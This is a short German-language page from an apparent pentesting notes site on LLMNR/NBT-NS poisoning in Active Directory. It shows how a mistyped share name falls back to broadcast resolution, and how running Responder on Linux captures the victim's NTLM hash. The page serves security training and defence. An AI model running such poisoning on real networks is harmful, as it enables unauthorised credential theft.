> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# LLMNR / NBT-NS Poisoning

Sicherheitsnotizen zu Active Directory für LLMNR / NBT-NS Poisoning, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

Wenn der Zugriff über einen gültigen Namen erfolgt, läuft die Auflösung zunächst über das DNS des Domänencontrollers.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Wenn der Name nicht existiert, versucht Windows dann eine Auflösung über `LLMNR` oder `NBT-NS` per Broadcast.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b16a473d284d3a856bdb0b93e6ae8ff7a805637%2Fimage%20(3326).png?alt=media" alt=""><figcaption></figcaption></figure>

Von Linux aus können wir diese Anfragen abhören und mit `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54191cff03c1742aa52d17b646cac5891e101082%2Fimage%20(3327).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn ein Opfer den falschen Freigabenamen eingibt, landet die Anfrage dann auf unserer Maschine.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Anschließend erhalten wir den NTLM-Hash des Kontos, das die Verbindung herzustellen versucht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f583775a8076a1ee87aa4400fee0b32587b1c78%2Fimage%20(3328).png?alt=media" alt=""><figcaption></figcaption></figure>


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